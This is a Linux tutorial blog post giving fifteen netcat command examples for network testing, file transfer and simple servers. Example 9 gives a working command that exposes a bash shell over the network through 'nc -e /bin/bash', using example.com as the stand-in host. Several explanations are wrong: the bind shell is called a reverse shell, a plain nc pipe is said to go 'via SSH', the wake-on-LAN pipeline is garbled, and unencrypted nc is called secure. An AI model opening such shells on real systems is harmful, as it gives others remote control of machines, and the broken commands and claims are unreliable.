15 useful Netcat or nc Command Line with Examples in Linux

Learn how to use Netcat (nc) command line tool with 15 practical examples in Linux for network testing, troubleshooting, and more.

Netcat (or nc) command line tool is a powerful command line in linux system. Its versatility and simplicity make it an indispensable tool for system engineer, network administrators, penetration testers, and anyone working with network protocols. In this article, we will explore 15 practical examples of using Netcat in Linux, showcasing its capabilities for network testing, troubleshooting, file transfers, and more. Whether you’re a beginner or an experienced Linux user, these examples will help you harness the full potential of Netcat and enhance your network management skills.

Netcat or nc Command Line

Netcat or nc Command Line with Examples

Netcat, or nc, is a powerful utility that can be used to establish TCP/UDP connections, transfer files, and perform port scanning. As a system administrator, it is a useful tool to have in your arsenal for network troubleshooting and management. Here are 15 useful netcat or nc command line examples :

1. Test TCP connectivity

# nc -vz example.com 80

This command will test TCP connectivity to example.com on port 80. The options -v and -z tell nc to use verbose output and only scan for listening daemons.

2. Test UDP connectivity

# nc -u -vz example.com 123

This command will test UDP connectivity to example.com on port 123. The options -u, -v, and -z tell nc to use UDP protocol, use verbose output, and only scan for listening daemons.

3. Send a file via TCP

# nc -v example.com 1234 < file.txt

This command will send the contents of file.txt to example.com on port 1234 via TCP. The options -v tell nc to use verbose output.

See also  Mastering the 'ls' Command in Linux: A Complete Guide

4. Receive a file via TCP

# nc -l -v 1234 > file.txt

This command will receive a file sent via TCP to port 1234 and save it as file.txt. The options -l and -v tell nc to listen for incoming connections and use verbose output.

5. Transfer files via SSH

# tar cz /path/to/files | nc -q 0 example.com 1234

This command will transfer all files in /path/to/files to example.com on port 1234 via SSH. The tar command is used to create a compressed archive, which is then sent to the remote host using nc. The option -q 0 tells nc to close the connection immediately after the transfer is complete.

6. Port scan a host

# nc -z -v -n example.com 1-100

This command will perform a port scan of example.com on ports 1 through 100. The options -z, -v, and -n tell nc to only scan for listening daemons, use verbose output, and skip DNS resolution.

7. Check if a port is open

# echo "" | nc -w 1 example.com 80

This command will check if port 80 is open on example.com by attempting to establish a TCP connection and sending an empty string. The option -w 1 tells nc to wait 1 second for a response before timing out.

8. Monitor a TCP connection

# nc -v example.com 80 | tee log.txt

This command will monitor a TCP connection to example.com on port 80 and save the output to log.txt. The tee command is used to output the data to both the console and the file.

9. Reverse shell

On a target host run

# nc -l -p 1234 -e /bin/bash

On a remote host run

# nc example.com 1234

This command will establish a reverse shell from the target host to the remote host, allowing the remote host to execute commands on the target host. The -l option tells nc to listen for incoming connections, -p 1234 specifies the listening port, and -e /bin/bash tells nc to execute a shell.

See also  How to Remove Duplicate Lines in Linux

10. Create a chat server

On the server side run

# nc -l 1234

On the client side run

# nc example.com 1234

This command will create a chat server that allows users to communicate via a TCP connection. The server listens for incoming connections on port 1234, while clients connect to the server using the remote host’s IP address or domain name. Once connected, users can type messages that are sent over the connection.

11. Forward a port

# nc -l -p 8080 -c 'nc example.com 80'

This command will forward port 8080 to port 80 on example.com. The -c option tells nc to execute a command after a client connects, which in this case is another nc command that connects to example.com on port 80.

12. Send a wake-on-LAN packet

# echo -n 'FF:FF:FF:FF:FF:FF' | sed 's/:/\n/g' | xargs -I{} echo "obase=16;ibase=16;{}+5E"|bc | sed 's/0/8/g' | xxd -r -p | nc -w1 -u example.com 9

This command will send a wake-on-LAN packet to example.com on port 9, which will wake up a remote host that has been put to sleep. The wake-on-LAN packet is generated using the echo, sed, and bc commands, and then sent to the remote host using nc.

13. Transfer a file with progress bar

# pv file.txt | nc -q 10 example.com 1234

This command will transfer file.txt to example.com on port 1234 using nc, while displaying a progress bar using the pv command. The -q 10 option tells nc to close the connection 10 seconds after the transfer is complete.

14. Monitor network traffic

# nc -l -p 1234 | tee log.txt | nc example.com 5678

This command will monitor network traffic on port 1234 and send the output to both log.txt and example.com on port 5678 using nc. The tee command is used to output the data to both the console and the file.

See also  How to Find and Replace Text using sed Command in Linux

15. Create a web server

 # while true; do nc -l -p 8080 -c 'echo -e "HTTP/1.1 200 OK\n\nHello, World!"'; done

This command will create a simple web server that listens for incoming connections on port 8080 and sends back a “Hello, World!” message using nc. The while loop is used to ensure that the server keeps running indefinitely.

Conclusion:

Netcat (nc) is a command line tool that has stood the test of time in the Linux community. With its wide range of features and flexibility, it has become an essential tool for network administrators and security professionals. In this article, we have covered 15 useful examples of Netcat commands in Linux, demonstrating its effectiveness in various scenarios. By mastering these examples, you will be equipped with the knowledge to troubleshoot network issues, perform network testing, transfer files securely, and more. So, start exploring the power of Netcat and take your Linux networking skills to the next level.

Leave a Comment